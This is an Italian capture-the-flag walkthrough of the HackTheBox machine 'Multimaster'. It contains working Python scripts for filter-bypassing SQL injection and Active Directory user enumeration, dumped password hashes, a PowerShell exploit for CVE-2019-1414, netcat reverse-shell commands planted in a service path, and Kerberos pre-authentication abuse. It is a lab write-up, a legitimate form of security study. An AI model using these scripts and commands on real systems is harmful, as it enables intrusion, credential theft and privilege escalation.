NMAP
Come al solito inizio la box con una scansione dei servizi:

Porta 53, porta 88 aperte quindi molto probabilmente si tratta di un Domain Controller. Eviterò di inserire lo screen della scansione approfondita per facilitare la lettura.
Dal momento che la porta 80 è aperta decido di dare un’occhiata. Tra le poche funzioni del sito quella che attira la mia attenzione è “Colleague finder”. Semplicemente premendo invio sul form di ricerca mi viene presentata una lista di utenti, di seguito lo screen del sito e la relativa richiesta in burp:


WAF Bypass
Inizio a vedere se il parametro è vulnerabile a SQLi ma ogni volta che inserisco caratteri o parole chiave (‘, or, union, select ecc) ricevo una risposta 403 Forbidden. Tra l’altro anche facendo un bruteforce delle directory con dirb o simili occorre impostare un delay piuttosto elevato altrimenti le richieste vengono bloccate. Probabilmente è presente un waf che tiene sotto controllo il sito. La prima cosa che cerco di fare è bypassarlo per vedere se riesco a verificare la presenza di una SQL Injection.

Dopo numerosi tentativi e grattacapi mi rendo conto che posso convertire in unicode il mio payload e bypassare le restrizioni del waf. Risparmierò di scrivere le centinaia di tentativi che ho fatto, ad ogni modo mi sono accorto che fosse possibile bypassare il waf con questo payload minato’ –:
minato\u0027 \u002d\u002d

Sebbene il waf sia stato bypassato la query non restituisce il risultato che speravo, sono di fronte a una blind SQLi. Mi sono fatto un idea della query e ho immaginato che non restituisse alcun risultato con il payload da me usato per il semplice motivo che non utilizza la clausola WHERE ma LIKE. È possibile capirlo perché se invece di cercare “minato”, cerco “mi”, compaiono tutti i risultati che contengono la sillaba mi:

SQL Injection
A questo punto cerco di selezionare altri dati dal database con l’operatore UNION, concatenando un’altra select. Prima di farlo però ho la necessità di capire quanti campi della tabella SQL va a leggere la query originale ed è possibile farlo il 2 modi:
- ORDED BY
- Contare le proprietà contenute nella risposta JSON (id, name, position, email, src)
I campi a disposizione sono 5, lo conferma anche la query con ORDER BY:
minato' ORDER BY 5 --
\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u004f\u0052\u0044\u0045\u0052 \u0042\u0059 \u0035 \u002d\u002d

ORDER BY 6 restituisce null, di conseguenza i campi sono 5.

Per le conversioni da stringa a unicode ho utilizzato questo sito: https://www.branah.com/unicode-converter
Eseguo una query di prova per vedere se funziona tutto:
minato' union select 1,@@version,3,4,5 --
\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u0075\u006e\u0069\u006f\u006e \u0073\u0065\u006c\u0065\u0063\u0074 \u0031\u002c\u0040\u0040\u0076\u0065\u0072\u0073\u0069\u006f\u006e\u002c\u0033\u002c\u0034\u002c\u0035 \u002d\u002d

La query viene eseguita correttamente! Ho inserito @@versione nel campo 2, corrispondente a name, perché il campo id essendo numerico avrebbe generato un errore SQL. Avrei potuto usare anche gli altri campi, ma non id.
In sostanza, tenendo a mente la query originale che potrebbe essere:
SELECT * FROM tabella LIKE name = '%input%'
È stata trasformata in:
SELECT * FROM tabella LIKE name = '%input%' UNION SELECT 1,@@version,3,4,5 --
Il risultato della union select è piazzato all’interno dei campi della select originale, la query potrebbe essere stata così, avrebbe funzionato lo stesso:
SELECT * FROM tabella LIKE name = '%input%' UNION SELECT 1,@@version,'ciao','come','stai' --
Generando:
id | name | position | src | |
1 | SQL Server bla bla.. | ciao | come | stai |
L’importante è lasciare numerico il campo id, o qualsiasi altro campo numerico presente nella tabella del database.
A questo punto è possibile enumerare alcune tabelle ed alcuni utenti all’interno del database. Per fare ciò ho creato uno script in python che mi permettesse di velocizzare tutte le operazioni di conversione del payload in unicode ed effettuare query più velocemente:
#!/usr/bin/python3
#Multimaster SQLinjection exploit - TheJ0k3r
import requests
import json
import sys
import binascii
def banner():
print("""
Multimaster SQLi WAF bypass by TheJ0k3r - 2020
Usage: python3 FIELD FROM
python3 exploit.py @@version
python3 exploit.py password 'FROM Logins'
""")
def remove_unicode_spaces(payload):
return payload.replace("\\u0020", " ")
def set_fields(payload):
fields = payload.split(',')
n_fields = len(fields)
payload_filler = ""
if n_fields > 5:
print("[-] You can select max 4 fields at once.")
else:
for i in range(n_fields+1, 5):
payload_filler += ',' + str(i)
#print('Filler: ' + payload + payload_filler)
return payload + payload_filler
def build_payload(payload):
from_sql = ""
try:
from_sql = sys.argv[2] + " "
except:
pass
fields = set_fields(payload)
sql_injection_tpl = "minato' union select 1," + fields +" {from_placeholder}-- "
# payload = sql_injection_tpl.replace('{placeholder}', payload)
payload = sql_injection_tpl.replace('{from_placeholder}', from_sql)
print("")
print("query> " + payload)
print("")
payload = binascii.b2a_hex(payload.encode('utf-8'))
b = 2
splitted = [payload[i:i+b] for i in range(0, len(payload), b)]
unicodeval_string = ""
for part in splitted:
unicodeval_string += "\\u00" + part.decode('utf-8')
unicode_payload_string = unicodeval_string
return remove_unicode_spaces(unicode_payload_string)
def make_request(payload):
useragent = 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'
unicode_payload = build_payload(payload)
#print("Debug injection: " + unicode_payload)
payload = '{"name": "' + unicode_payload +'"}'
cl = str(len(payload))
headers = '{"Host":"10.10.10.179", "User-Agent":"'+ useragent +'", "Content-Type":"application/json;charset=utf-8", "Content-Length":"'+ cl +'", "Connection":"close"}'
url = "http://10.10.10.179/api/getColleagues"
res = requests.post(url, data=payload, headers=json.loads(headers))
return payload, res
# Deprecated
def print_results(response):
try:
for element in response:
print(element['name'])
except TypeError:
print('[-] Smething went wrong with the query. You can select one field at time.')
if len(sys.argv) < 2:
banner()
else:
print("")
print("Multimaster SQLi WAF bypass by TheJ0k3r - 2020")
data = make_request(sys.argv[1])
print("[+] Unicode payload: " + data[0])
print("")
parsed = json.loads(data[1].text)
print('[+] Results:')
#print_results(parsed)
print("[+] Response: \r\n" + json.dumps(parsed, indent=2))
All’interno del database è presente una tabella logins, eviterò di indicare le varie query che ho usato per enumerare tabelle e colonne dal momento che sono presenti in rete vari mssql cheatsheet con tutte le query del caso:
python3 exploit.py "username,password" "from Logins"
Di seguito l’output dello script:
Multimaster SQLi WAF bypass by TheJ0k3r - 2020
query> minato' union select 1,username,password,3,4 from logins --
[+] Unicode payload: {"name": "\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u0075\u006e\u0069\u006f\u006e \u0073\u0065\u006c\u0065\u0063\u0074 \u0031\u002c\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u002c\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u002c\u0033\u002c\u0034 \u0066\u0072\u006f\u006d \u006c\u006f\u0067\u0069\u006e\u0073 \u002d\u002d "}
[+] Response:
[
{
"id": 1,
"name": "aldom",
"position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "alyx",
"position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "ckane",
"position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "cyork",
"position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "egre55",
"position": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "ilee",
"position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "james",
"position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "jorden",
"position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "kpage",
"position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "minatotw",
"position": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "nbourne",
"position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "okent",
"position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "rmartin",
"position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "sbauer",
"position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "shayna",
"position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "zac",
"position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"email": "3",
"src": "4"
},
{
"id": 1,
"name": "zpowers",
"position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"email": "3",
"src": "4"
}
]
In corrispondenza di name si trova l’username, in corrispondenza di position si trova l’hash della password. E’ possibile decifrare le password come utilizzando Keccak-384:



Molti hash si ripetono tra i vari utenti, alla fine le password diverse risultano essere 3: password1, finance1, banking1.
Purtroppo nessuno degli utenti è in grado di accedere alla macchina tramite evil-winrm con quelle password. Sicuramente mi manca un’utenza, nel database gli username che ho trovato non sono tutti quelli del dominio active directory.
Dopo aver fatto un po’ di ricerche su google ho trovato una tecnica interessante che potrebbe funzionare, decido di fare un tentativo:
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

Il server mi risponde con:
\u0001\u0005\u0000\u0000\u0000\u0000\u0000\u0005\u0015\u0000\u0000\u0000\u001c\u0000\u00d1\u00bc\u00d1\u0081\u00f1I+\u00df\u00c26\u0001\u0002\u0000\u0000
Facendo un po’ di tentativi seguendo l’articolo che ho linkato ho elaborato il seguente SID:
0x0105000000000005150000001C00D1BCD181F1492BDFC23600020000
Praticamente nell’output del mio script ho dovuto riconvertire i caratteri I+ e 6 (non voglio domandarmi perché siano stati stampati così) rispettivamente in \u0049\u002b e \u0036 mentre ho dovuto eliminare \u0001. Per fortuna che avevo dei SID di riferimento!
Il SID non è altro che un identificatore di sicurezza di windows che identifica in modo univoco un’entità o un gruppo di sicurezza.
Direttamente dal sito Microsoft:
Ogni account o gruppo o processo in esecuzione nel contesto di sicurezza dell’account ha un SID univoco emesso da un’autorità, ad esempio un controller di dominio Windows. È archiviato in un database di sicurezza. Il sistema genera il SID che identifica un determinato account o gruppo al momento della creazione dell’account o del gruppo. Quando un SID è stato usato come identificatore univoco per un utente o un gruppo, non potrà mai più essere usato per identificare un altro utente o gruppo.
Ogni volta che un utente accede, il sistema crea un token di accesso per l’utente. Il token di accesso contiene il SID dell’utente, i diritti utente e i SID per tutti i gruppi a cui appartiene l’utente. Questo token fornisce il contesto di sicurezza per tutte le azioni eseguite dall’utente nel computer in uso.
Per maggiori info:
Gli ultimi 8 bytes del SID rappresentano il RID, l’identificatore relativo di sicurezza, mentre i primi 48 bytes sono il SID.
Il RID dell’utente Administrator (dominio) è sempre 500, che in esadecimale corrisponde a 1F4, che in little endian è F401 e col padding per arrivare a 8 bytes è F4010000
Ricapitolando ad ogni RID corrisponde un gruppo, un utente, una macchina etc. Facendo un bruteforce dei RID attraverso SQL Server grazie alla SQL Injection è possibile enumerare gli utenti di Active Directory.
USER FLAG
Ho creato uno script per evitare di fare tutto a mano, lo script parte da un RID 500 in esadecimale e incrementa fino a 10000 per enumerare il più possibile:
#!/usr/bin/python
import requests
import time
import json
import binascii
def banner():
print("""
Multimaster user enumeration by TheJ0k3r - 2020
Usage: python3 user_enum.py
""")
def get_rid(payload):
cl = str(len(payload))
useragent = "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
headers = '{"Host":"10.10.10.179", "User-Agent":"'+ useragent +'", "Content-Type":"application/json;charset=utf-8", "Content-Length":"'+ cl +'", "Connection":"close"}'
url = "http://10.10.10.179/api/getColleagues"
res = requests.post(url, data=payload, headers=json.loads(headers))
return res.text
def print_user(res, i):
user = res[0]
if len(user['name']) > 0:
print('Try: ' + str(i) + '/10000, User/Group: '+ user['name'])
def build_rid():
n = 500
b = 2
# minato' union select 1,suser_sname(0x0105000000000005150000001C00D1BCD181F1492BDFC236{placeholder}),2,3,4 --
payload = '\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u0075\u006e\u0069\u006f\u006e \u0073\u0065\u006c\u0065\u0063\u0074 \u0031\u002c\u0073\u0075\u0073\u0065\u0072\u005f\u0073\u006e\u0061\u006d\u0065\u0028\u0030\u0078\u0030\u0031\u0030\u0035\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0035\u0031\u0035\u0030\u0030\u0030\u0030\u0030\u0030\u0031\u0043\u0030\u0030\u0044\u0031\u0042\u0043\u0044\u0031\u0038\u0031\u0046\u0031\u0034\u0039\u0032\u0042\u0044\u0046\u0043\u0032\u0033\u0036{placeholder}\u0029\u002c\u0032\u002c\u0033\u002c\u0034 \u002d\u002d '
for h in range(n, 10001):
#print(i)
n_strhex = str(hex(h)).replace('x','')
splitted = [n_strhex[i:i+b] for i in range(0, len(n_strhex), b)]
splitted.reverse()
padding = '\u0030\u0030\u0030\u0030'
rid = ''.join(splitted)
unicoded = ""
for element in rid:
unicoded += '\u00' + binascii.b2a_hex(element.upper().encode())
f_payload = '{"name":"' + payload.replace('{placeholder}',unicoded + padding) + '"}'
user = get_rid(f_payload)
time.sleep(3)
# print('Payload: ' + f_payload)
# print(user)
print_user(json.loads(user),h)
build_rid()
Di seguito l’output dell’user enumeration, ho stoppato l’esecuzione dello script dopo aver identificato il nuovo utente che non era presente nel database:

Infine ho provato a connettermi con le password trovate in precedenza con l’utenza tushikikatomo:

ENUMERATION
Una volta ottenuta la shell ho iniziato a guardarmi intorno, privilegi utente, file, cartelle, finché non mi è saltata all’occhio la lista dei processi attivi:

Visual Studio Code è in esecuzione all’interno della macchina, tra l’altro enumerando i gruppi esiste proprio un gruppo Developers e addirittura uno share montato in E:\, decido di approfondire:

Mi ricordo di aver letto un articolo in passato riguardo una vulnerabilità di Code che veniva avviato con la modalità di debug attiva:
https://iwantmore.pizza/posts/cve-2019-1414.html
L’articolo spiega che la porta di debug è differente ad ogni avvio di VSCode. Ho tentato di lanciare netstat col flag -b per vedere il nome del processo insieme alla porta utilizzata ma non ho i diritti sufficienti per utilizzare il flag. Provo così:
Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
59 5 1908 3336 6772 1 cmd
413 22 15400 20104 268 1 Code
679 48 32548 89384 1348 1 Code
407 54 95324 133884 1736 1 Code
319 32 39492 57620 2040 1 Code
406 53 95612 114316 2476 1 Code
277 51 57324 74032 3404 1 Code
277 51 57460 62740 3992 1 Code
278 51 57512 74704 4512 1 Code
407 55 97272 136648 4676 1 Code
214 15 6108 10452 5064 1 Code
netstat -ano -p tcp
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 812
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 812
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 3888
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 940
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2276
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 452
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1008
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 932
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:49673 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:49674 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:49675 0.0.0.0:0 LISTENING 1784
TCP 0.0.0.0:49678 0.0.0.0:0 LISTENING 2232
TCP 0.0.0.0:49692 0.0.0.0:0 LISTENING 2308
TCP 0.0.0.0:49699 0.0.0.0:0 LISTENING 576
TCP 0.0.0.0:49706 0.0.0.0:0 LISTENING 2292
TCP 10.10.10.179:53 0.0.0.0:0 LISTENING 2308
TCP 10.10.10.179:139 0.0.0.0:0 LISTENING 4
TCP 10.10.10.179:5985 10.10.14.46:44302 TIME_WAIT 0
TCP 10.10.10.179:5985 10.10.14.46:44306 TIME_WAIT 0
TCP 10.10.10.179:5985 10.10.14.46:44308 ESTABLISHED 4
TCP 10.10.10.179:50726 10.10.14.46:4444 CLOSE_WAIT 6888
TCP 10.10.10.179:51729 10.10.14.46:4444 ESTABLISHED 3952
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2308
TCP 127.0.0.1:1434 0.0.0.0:0 LISTENING 3888
TCP 127.0.0.1:1648 0.0.0.0:0 LISTENING 3404
TCP 127.0.0.1:4075 0.0.0.0:0 LISTENING 4512
TCP 127.0.0.1:17929 0.0.0.0:0 LISTENING 3992
È possibile vedere come l’ultimo processo 3992 sia in ascolto sulla porta 17929 e vedendo l’output di Get-Process il processo 3992 fa proprio riferimento a Code.
LATERAL MOVEMENT CYORK
Nelle immagini che seguiranno è possibile che il numero della porta non coincida con quelli che ho appena elencato perché nella macchina c’è qualcosa che simula user interaction e VSCode si riavvia ad intervalli regolari, così la porta di debug attiva cambia.
Faccio un test manuale per vedere se riesco, come indicato nell’articolo, a ottenere il link del websocket usitlizzato dal processo di debug:

Nel frattempo la porta era cambiata in 22817, ad ogni modo è possibile vedere come il debugger sia attivo e penso proprio di poter sfruttare il CVE-2019-1414:
webSocketDebuggerUrl: ws://127.0.0.1:22817/a103c2d1-c765-47b6-a4dd-e34680d42ecb
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1414
Sul sito di riferimento che ho linkato in precedenza è presente un PoC per Node.js ma il comando node per lanciare lo script non è riconosciuto dalla shell, così documentandomi un po’, sono riuscito a ricreare lo script in PowerShell:
<#
.SYNOPSIS
VSCode Exploit PS version based on https://iwantmore.pizza/posts/cve-2019-1414.html
Coded By TheJ0k3r - HTB
.DESCRIPTION
See .Synopsis
.NOTES
Depends on third-party library WebSocket-Sharp:
https://github.com/sta/websocket-sharp
.PARAMETER LPORT
This parameter is MANDATORY.
This the port where the Node.js debugger is listening to.
.PARAMETER RHOST
This parameter is MANDATORY.
This parameter is the IP to connect the reverse shell to.
.PARAMETER RPORT
This parameter is MANDATORY.
This parameter is the PORT to connect the reverse shell to.
.PARAMETER NC PATH
This parameter is MANDATORY.
This is the path where nc.exe has been placed
.EXAMPLE
PS C:\Users\User> . .\exploit.ps1 62541 "C:/users/Default/Documents/nc.exe -nv 10.10.14.46 4444 -e cmd.exe"
#>
$LHOST = '127.0.0.1'
$LPORT = $args[0]
$CMD = $args[1]
<#
function base64([string]$sStringToEncode) {
$sEncodedString=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($sStringToEncode))
return $sEncodedString
}
function fromBase64([string]$stringToDecode) {
$res = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($stringToDecode))
return $res
}
#>
function getWsLink() {
$res = Invoke-RestMethod "http://${LHOST}:${LPORT}/json"
$data = $res.webSocketDebuggerUrl
return $data
}
function main() {
Write-Output "Getting webSocketDebuggerUrl from http://${LHOST}:${LPORT}/json"
$wsLink = getWsLink
Write-Output "[+] Found webSocketDebuggerUrl: ${wsLink}"
$socket = New-Object System.Net.WebSockets.ClientWebSocket
$cancToken = New-Object System.Threading.CancellationToken
$conn = $socket.ConnectAsync($wsLink, $cancToken)
while (!$conn.IsCompleted) {
Start-Sleep -Milliseconds 100
}
Write-Host "[+] Connected to ${wsLink}"
$payload = "{ `"id`": 1, `"method`": `"Runtime.enable`" }"
$l = @(); $payload.ToCharArray() | % {$l += [byte] $_}
$msg = New-Object System.ArraySegment[byte] -ArgumentList @(,$l)
$t = $socket.SendAsync($msg, [System.Net.WebSockets.WebSocketMessageType]::Text, [System.Boolean]::TrueString, $cancToken)
do { Start-Sleep -Milliseconds 100 }
until ($t.IsCompleted)
$reverse = "${CMD}"
Write-Host "[+] Executing command ${reverse}"
$child_process = "process.mainModule.require('child_process').exec('" + $reverse + "')"
Write-Host "[+] child_process: ${child_process}"
$payload = "{ `"id`": 2, `"method`": `"Runtime.evaluate`", `"params`": { `"expression`": `"${child_process}`"} }"
$l = @(); $payload.ToCharArray() | % {$l += [byte] $_}
$msg = New-Object System.ArraySegment[byte] -ArgumentList @(,$l)
$t = $socket.SendAsync($msg, [System.Net.WebSockets.WebSocketMessageType]::Text, [System.Boolean]::TrueString, $cancToken)
do { Start-Sleep -Milliseconds 100 }
until ($t.IsCompleted)
$t = $socket.CloseAsync([System.Net.WebSockets.WebSocketCloseStatus]::NormalClosure, "NormalClosure", $cancToken)
do { Start-Sleep -Milliseconds 100 }
until ($t.IsCompleted)
}
main
Scarico lo script sulla box, insieme a netcat e provo ad eseguire lo script.

Lo script prevede che gli venga passato come primo argomento la porta del debugger e il secondo argomento il comando da lanciare. Com’è visibile dall’immagine qui sopra riesce a pelevarsi il link del websocket e a stabilire una connessione per lanciare il comando. Ho la shell:

Ho fatto numerosi tentativi prima di ottenere la shell, li riassumerò brevemente. Praticamente riuscivo a lanciare vari comandi, tra cui a pingare anche la mia macchina ma non ottenevo la shell, non c’era verso. Enumerando i permessi della cartella in cui avevo posizionato netcat, ho notato che solo l’utente corrente tushikikatomo aveva accesso a quella cartella. Dovevo trovare una cartella accessibile a tutti, alla fine ho provato con C:\Users\Default\Documents\ e ha funzionato! Per enumerare i permessi di file e cartelle è possibile utilizzare icacls.exe
LATERAL MOVEMENT SBAUER
Durante l’enumerazione con l’utenza di tushikikatomo mi er scaricato sulla macchina SharpHound per enumerare più velocemente il dominio con BloodHound. Attraverso la visione di insieme di Bloodhound era chiaro il percorso da seguire.
Così come per th
tushikikatomo anche cyork non aveva nessuna relazione “sospetta” né con gruppi né con utenti, tantomeno privilegi particolari. Perciò era chiaro che dopo cyork un’utenza chiave era quella di sbauer, collegato con un permesso di GenericWrite su jorden. Era l’unica strada perseguibile.

Procedo con l’enumerazione della macchina come cyork, dal momento che l’utente fa parte del gruppo Development, provo ad accedere a una cartella che con l’utenza di tushikikatomo era inaccessibile, la directory C:\inetpub\wwwroot, quella dell’applicazione web.
Dentro alla cartella bin trovo un file interessante nominato MultimasterAPI.dll, lo scarico sulla mia macchina con netcat dopo averlo scaricato sulla macchina – il primo comando sulla box, il secondo in locale:
nc.exe -nv 10.10.14.46 80 < MultimasterAPI.dll
nc -lnvp 80 > MultimasterAPI.dll
Analizzando il file con ILSpy ho trovato diverse cosette interessanti. La prima è il codice che filtrava gli input durante gli step iniziali, la query di ricerca dei colleghi. Non si trattava di un waf bensì di codice che con un blacklist bloccava le mie richieste:

La seconda cosa interessante sono le credenziali di accesso al database!

Con la password appena creata provo a connettermi attraverso evil-winrm con l’utenza sbauer:

LATERAL MOVEMENT JORDEN
A questo punto la strada è in discesa considerando il permesso GenericWrite di sbauer sull’utente jorden:


GenericWrite permette di scrivere le proprietà di un oggetto, in questo caso dell’utente jorden.
GenericWrite: Provides write access to all properties.
The right to read permissions on this object, write all the properties on this object, and perform all validated writes to this object.
La strategia è quella di riconfigurare l’utenza di jorden in modo che per il suo accesso non sia necessaria la preautenticazione Kerberos. Se la preauth Kerberos è disabilitata è possibile richiedere un TGT senza l’ausilio della password, successivamente è possibile decifrarlo offline.
Di seguito ho reimpostato il valore dell’opzione di preauth:

Ho richiesto il TGT con GetNPUsers.py:

E l’ho decifrato con hashcat:

Reimposto la preauth com’era inizialmente:

Accedo con l’utente jorden:

PRIVILEGE ESCALATION
L’utente jorden fa parte del gruppo SERVER OPERATORS, questo è creato di default e permette di amministrare i server del dominio, solitamente è un gruppo vuoto a cui nessun utente dovrebbe appartenere. Il gruppo ha i seguenti permessi:
- Login locale alla console del server
- Cambiare ora di sistema
- Fare il backup dei file e delle cartelle
- Ripristinare i file e le cartelle
- Shutdown del sistema
- Shutdown del sistema da remoto
Questi privilegi sono visibili anche attraverso whoami /all.
Do un’ altra occhiata ai processi attivi sulla macchina, c’è un processo attivo che si chiama sqlwriter. Questo processo, stando a quanto riportato dalla documentazione microsoft provvede di funzionalità di backup e ripristino:
The SQL Writer Service provides added functionality for backup and restore of SQL Server through the Volume Shadow Copy Service framework.
Dati i permessi del gruppo SERVER OPERATORS penso che questo servizio sia proprio quello che fa al caso mio per elevare i privilegi.
Scarico netcat sulla box e provo a sovrascrivere le impostazioni del servizio sqlwriter.exe cambiando il binary path name con:
C:\users\jorden\documents\nc.exe -nv 10.10.14.46 4444 -e cmd.exe

Potevo enumerare i miei permessi per riconfigurare il servizio attraverso accesschk.exe, un tool messo a disposizione da windows. Siccome non avevo voglia di scaricarlo sulla box, ho provato direttamente a scrivere il nuovo path e ha funzionato ????
Metto in ascolto netcat in locale, fermo e riavvio il servizio sulla macchina con:
sc.exe stop sqlwriter
sc.exe start sqlwriter
E ottengo la shell:
